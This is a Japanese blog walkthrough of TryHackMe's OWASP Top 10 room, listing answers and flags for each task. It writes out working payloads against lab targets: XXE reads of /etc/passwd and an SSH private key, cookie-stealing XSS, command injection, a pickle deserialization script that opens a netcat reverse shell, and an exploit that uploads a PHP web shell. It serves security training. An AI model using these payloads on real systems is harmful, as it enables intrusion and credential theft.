0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】OWASP Top 10:Walkthrough

Posted at

概要

TryHackMe「OWASP Top 10」のWalkthroughです。

Task5

Q1.What strange text file is in the website root directory?

http://ip address/evilshell.php.へアクセスします。
このサイトではフォームへコマンドを入力することで、コマンドインジェクションを実行できます。

task5 q1 home screen.png

lsで見ると、drpepper.txtが怪しいですね。

task5 q1 get answer.png

A.drpepper.txt

Q2.How many non-root/non-service/non-daemon users are there?

ルートアカウントサービスアカウントデーモンアカウントではないユーザーは何人か聞かれています。

/etc/passwdファイルを確認してみます。

cat etc passwd.png

ユーザー情報が表示されました。
通常ユーザーはUIDが1000番以降になりますが、見当たりません。
ユーザーのホームディレクトリを探しても見つからないので、0が答えになります。

ls -l home.png

A.0

Q3.What user is this app running as?

whoamiコマンドでユーザーを表示します。

whoami.png

A.www-data

Q4.What is the user's shell set as?

/etc/passwdファイルからwww-dataユーザーのシェルを確認できます。

user shell.png

A./usr/sbin/nologin

Q5.What version of Ubuntu is running?

lsb_releaseコマンドでUbuntuのバージョンを確認できます。

ubuntu version.png

A.18.04.4

Q6.Print out the MOTD. What favorite beverage is shown?

Hint.00-header

MOTDとはMessage of the day今日のお知らせというもので、ユーザーがログインした際などに表示されるメッセージを指します。

Red Hatでは/etc/motdにありますが、Ubuntuでは/etc/update-motd.dにあります。

ヒントからファイル名は00-headerであると予想できます。
ファイルを検索するとヒットしました。

ls -l motd.png

00-headerの中身を閲覧すると、最後の行にDR PEPPER MAKES THE WORLD TASTE BETTER!という文言がありました。
ドクターペッパーが物凄く好きみたいですね。
美味しいですよね。

task5 q6 get ans.png

A.DR PEPPER

Task7

ip address:8888にアクセスします。

task7 home screen.png

右上のRegisterをクリックし、アカウント登録画面でdarrenアカウントの作成を試みます。

task7 register form.png

アカウントは既に登録されているとして作成に失敗しました。

task7 failed register.png

Q1.What is the flag that you found in darren's account?

 darren(先頭に空白があります)という名前でアカウントを作成します。
登録後、作成したアカウントへログインすると、既存のdarrenアカウントへログインできました。

task7 q1 get answer.png

A.fe86079416a21a3c99937fea8874b667

Q3.What is the flag that you found in arthur's account?

同じように arthur(先頭に空白があります)という名前でアカウントを作成後、サインインすると、既存のarthurアカウントへのログインが成功しました。

task7 q2 get answer.png

A.d9ac0f7db4fda460ac3edeb75d75e16e

Task11

Q1.Have a look around the webapp. The developer has left themselves a note indicating that there is sensitive data in a specific directory. What is the name of the mentioned directory?

Hint.Have a look at the source code on the /login page.

ヒント通りに/loginページのソースコードを見るとコメントアウトで下記文言が記載されていました。

Must remember to do something better with the database than store it in /assets... 

A./assets

Q2.Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?

/assetsへアクセスするとディレクトリ構成が閲覧でき、webapp.dbという興味深いファイルを発見しました。

task11 q2.png

A.webapp.db

Q3.Use the supporting material to access the sensitive data. What is the password hash of the admin user?

webapp.dbをダウンロードしusersテーブルにユーザー情報を発見しました。

task11 q3 users.png

passwordはハッシュ化されているようです。

A.6eea9b7ef19179a06954edd0f6c05ceb

Q4.Crack the hash.What is the admin's plaintext password?

下記サイトへアクセスしadminのパスワードハッシュを解析します。

解析に成功し、adminのパスワードを特定出来ました。

task11 q4 cracked.png

A.qwertyuiop

Q5.Login as the admin. What is the flag?

得られた情報でadminへログインしフラグをゲットします。

task11 q5 get flag.png

A.THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}

Task13

Q1.Full form of XML

A.eXtensible Markup Language

Q2.Is it compulsory to have XML prolog in XML documents?

A.no

Q3.Can we validate XML documents against a schema?

A.yes

Q4.How can we specify XML version and encoding in XML document?

A.XML Prolog

Task14

Q1.How do you define a new ELEMENT?

A.!ELEMENT

Q2.How do you define a ROOT element?

A.!DOCTYPE

Q3.How do you define a new ENTITY?

A.!ENTITY

Task16

Q3.What is the name of the user in /etc/passwd

フォームにXMLを入力することでXXEを実行できるサイトみたいです。

task16 q3 home screen.png

/etc/passwdファイルを読み込むペイロードを送信します。

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>

/etc/passwdファイルが出力されユーザーを特定できました。

task16 q3 get etc passwd.png

A.falcon

Q4.Where is falcon's SSH key located?

/etc/passwdファイルからfalconのホームディレクトリが/home/falconであると判明したのでペイロードを編集して再度送信します。

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///home/falcon/.ssh/id_rsa'>]>
<root>&read;</root>

falconの秘密鍵を取得できました。

task16 q4 get private key.png

A./home/falcon/.ssh/id_rsa

Q5.What are the first 18 characters for falcon's private key

A.MIIEogIBAAKCAQEA7b

Task18

Q3.Look at other users notes. What is the flag?

Hint.The URL contains ?note=1 - I wonder what happens if you change the parameter value? You might be able to access another users note..

対象マシンにアクセスしUsername: noot,Password: test1234でログインします。

task18 q3 home.png

ログイン後、自身のノートを閲覧できました。

task18 q3 noot.png

URLパラメータに注目すると、数値を変更することで他のデータを閲覧できそうです。
値を0にすることで、フラグを取得できました。

task18 q3 get flag.png

A.flag{fivefourthree}

Task19

Q2.Hack into the webapp, and find the flag!

Hint.Can you find the app's source code? Maybe the documentation gives you default credentials that you can try.

ヒントからドキュメントにデフォルトのクレデンシャル情報があるみたいなので探します。
GitHubで該当アプリのリポジトリを見つけました。

README.mdに認証情報が記載されてます。

README.md
Using PensiveNotes

After downloading and compiling PensiveNotes, log in using the default credentials pensive:PensiveNotes

Make sure you change this password immediately!

Username: pensive,Password: PensiveNotesでログインするとフラグゲットです。

task19 q2 get flag.png

A.thm{4b9513968fd564a87b28aa1f9d672e17}

Task20

Q2.Navigate to http://ip address/ in your browser and click on the "Reflected XSS" tab on the navbar; craft a reflected XSS payload that will cause a popup saying "Hello".

このページでは検索機能があり、URLのパラメータに検索する文字列が入っています。

task20 q2 test search.png

パラメータにスクリプトタグを使用することで反射型XSSを引き起こせます。

?keyword=<script>alert("Hello")</script>

ポップアップが表示され、フラグをゲットしました。

task20 q2 popuo.png

task20 q2 answer.png

A.ThereIsMoreToXSSThanYouThink

Q3.On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.

Hint.In Javascript window.location.hostname will show your hostname, in this case your deployed machine's hostname will be its IP.

同じように今度はホスト名を出力します。

?keyword=<script>alert(window.location.hostname)</script>

ポップアップにフラグが表示されました。

task20 q3 get ip.png

task20 q3 answer.png

A.ReflectiveXss4TheWin

Q4.Now navigate to http://ip address/ in your browser and click on the "Stored XSS" tab on the navbar; make an account.Then add a comment and see if you can insert some of your own HTML.

Registerフォームからアカウントを登録します。

task20 q4 home.png

ログインするとコメントを投稿するページに遷移しました。

task20 q4 login.png

投稿フォームから送信した内容がそのままページに表示されています。
そのためHTMLタグを送信することができます。
試しに<br>を送信するとフラグが表示されました。

task20 q4 get flag.png

A.HTML_T4gs

Q5.On the same page, create an alert popup box appear on the page with your document cookies.

スクリプトタグも使用することができます。
Cookie情報をポップアップで表示させます。

<script>alert(document.cookie)</script>

task20 q5 cookie popup.png

ポップアップにフラグが表示されました。

task20 q5 get flag.png

A.W3LL_D0N3_LVL2

Q6.Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.

Hint.<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>

スクリプトタグを使用してHTML要素を変更することもできます。

<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>

実行後、HTML要素が変化しているのを確認できました。

<span id="thm-title">I am a hacker</span>

サイトにはフラグが表示されました。

task20 q6 get flag.png

A.websites_can_be_easily_defaced_with_xss

Task21

Q1.Who developed the Tomcat application?

Hint.The full name

A.Apache Software Foundation

Q2.What type of attack that crashes services can be performed with insecure deserialization?

Hint.Also known as a "DoS" attack

A.Denial of Service

Task22

Q1.if a dog was sleeping, would this be: A) A State,B) A Behaviour

A.A Behaviour

Task23

Q1.What is the name of the base-2 formatting that data is sent across a network as?

A.Binary

Task24

Q1.If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be?

A.webapp.com/login

Q2.What is the acronym for the web technology that Secure cookies work over?

A.HTTPS

Task25

Q1.1st flag (cookie value)

サイトにアクセスしアカウントを作成します。

task25 q1 sign in.png

Cookieを見るとsessionidにbase64でエンコードされた値を見つけました。

task25 q1 cookie.png

この値をデコードするとフラグゲットです。

$ echo -n "gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAAOWIzYzVmYzkzMmM4NGZjYTg1MTFmZTc5ZDM3MzI4YWFxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==" | base64 -d
�}q(X   sessionIdqX 9b3c5fc932c84fca8511fe79d37328aaqX
                                                      encodedflagqX▒THM{good_old_base64_huh}qu.

A.THM{good_old_base64_huh}

Q2.2nd flag (admin dashboard)

CookieのuserTypeに注目するとuserという値が入っています。
この値をadminに変更しページをリロードすると管理者画面へアクセスでき、フラグゲットです。

task25 q2 get flag.png

A.THM{heres_the_admin_flag}

Task26

Q1.flag.txt

netcatで4444ポートをリッスンします。

この時ソースコードのポートとリッスンするポートを一致させる必要があります。

$ nc -lvnp 4444                                       
listening on [any] 4444 ...

プロフィールページにアクセスし、②のExchange your vimをクリックします。

task26 q1 profile.png

その後、③のProvide your feedback!へアクセスします。

task26 q1 feedback.png

TryHackMeの説明欄からpickelme.pyを取得し、IPアドレスを自身のマシンIPに変更します。

import pickle
import sys
import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'

class rce(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

print(base64.b64encode(pickle.dumps(rce())))

編集したpuckleme.pyを実行します。

$ python3 Desktop/pickleme.py 
b'gASVdAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFlybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI+JjEgfCBuZXRjYXQgMTAuNi41NS4xNDQgNDQ0NCA+IC90bXAvZpSFlFKULg=='

base64でエンコードされた値をCookieのencodedPayloadにセットします。

task26 q1 edit cookie.png

Cookieの変更後、フィードバックページをリロードするとnetcatでシェルが取得でき、フラグを取得できます。

$ cat ../flag.txt
4a69a7ff9fd68

A.4a69a7ff9fd68

Task29

Q1.How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)

Hint.You know its a bookstore application, you should check for recent unauthenticated bookstore app rce's.

アプリケーションのフッターにprojectworldsのリンクがあり、対象マシンで動いているアプリケーションはprojectworldsという所からダウンロードされたものだと特定できました。

説明欄からadminアカウントのクレデンシャル情報を入手しました。

task29 q1 admin credential.png

adminアカウントでのログインに成功しました。

task29 q1 admin login.png

管理者画面を一通り見ましたが、RCEに繋がりそうなものは見つかりませんでした。

手法を変え、searchsploitで脆弱性情報を検索します。

$ searchsploit Online Book Store
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
GotoCode Online Bookstore - Multiple Vulnerabilities                               | asp/webapps/17921.txt
Online Book Store 1.0 - 'bookisbn' SQL Injection                                   | php/webapps/47922.txt
Online Book Store 1.0 - 'id' SQL Injection                                         | php/webapps/48775.txt
Online Book Store 1.0 - Arbitrary File Upload                                      | php/webapps/47928.txt
Online Book Store 1.0 - Unauthenticated Remote Code Execution                      | php/webapps/47887.py
Online Event Booking and Reservation System 1.0 - 'reason' Stored Cross-Site Scrip | php/webapps/50450.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

また、exploit-dbでも同様に探すことができます。

いくつかヒットした中に、RCEの情報もあるので今回はこれを利用します。
searchsploitPath/usr/share/exploitdb/exploits/配下を指しています。

$ ls -l /usr/share/exploitdb/exploits/php/webapps/47887.py 
-rwxr-xr-x 1 root root 2063 Dec 21 19:16 /usr/share/exploitdb/exploits/php/webapps/47887.py

ヘルプを見てみると、URLを指定すれば動きそうです。

$ python 47887.py -h
usage: 47887.py [-h] url

positional arguments:
  url         The URL of the target.

options:
  -h, --help  show this help message and exit

実行するとシェルを取得できました。

$ python 47887.py http://10.10.154.229
> Attempting to upload PHP web shell...
> Verifying shell upload...
> Web shell uploaded to http://10.10.154.229/bootstrap/img/1RsdXbPkRo.php
> Example command usage: http://10.10.154.229/bootstrap/img/1RsdXbPkRo.php?cmd=whoami
> Do you wish to launch a shell here? (y/n): y
RCE $

/etc/passwdの文字数をカウントしてフラグゲットです。

RCE $ wc -c /etc/passwd
1611 /etc/passwd

A.1611

Task30

ファイルをダウンロードするとテキストファイルにはログが書き込まれていました。

$ cat login-logs_1595366583422.txt 
200 OK           12.55.22.88 jr22          2019-03-18T09:21:17 /login
200 OK           14.56.23.11 rand99        2019-03-18T10:19:22 /login
200 OK           17.33.10.38 afer11        2019-03-18T11:11:44 /login
200 OK           99.12.44.20 rad4          2019-03-18T11:55:51 /login
200 OK           67.34.22.10 bff1          2019-03-18T13:08:59 /login
200 OK           34.55.11.14 hax0r         2019-03-21T16:08:15 /login
401 Unauthorised 49.99.13.16 admin         2019-03-21T21:08:15 /login
401 Unauthorised 49.99.13.16 administrator 2019-03-21T21:08:20 /login
401 Unauthorised 49.99.13.16 anonymous     2019-03-21T21:08:25 /login
401 Unauthorised 49.99.13.16 root          2019-03-21T21:08:30 /login 

Q1.What IP address is the attacker using?

Hint.Check for common actions in a short sequence of time

管理者ユーザーでアクセスしようとして401コードを何度も返されているのが怪しいですね。

A.49.99.13.16

Q2.What kind of attack is being carried out?

Hint.Trying combinations of usernames and passwords to gain access to users' accounts.

A.brute force

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?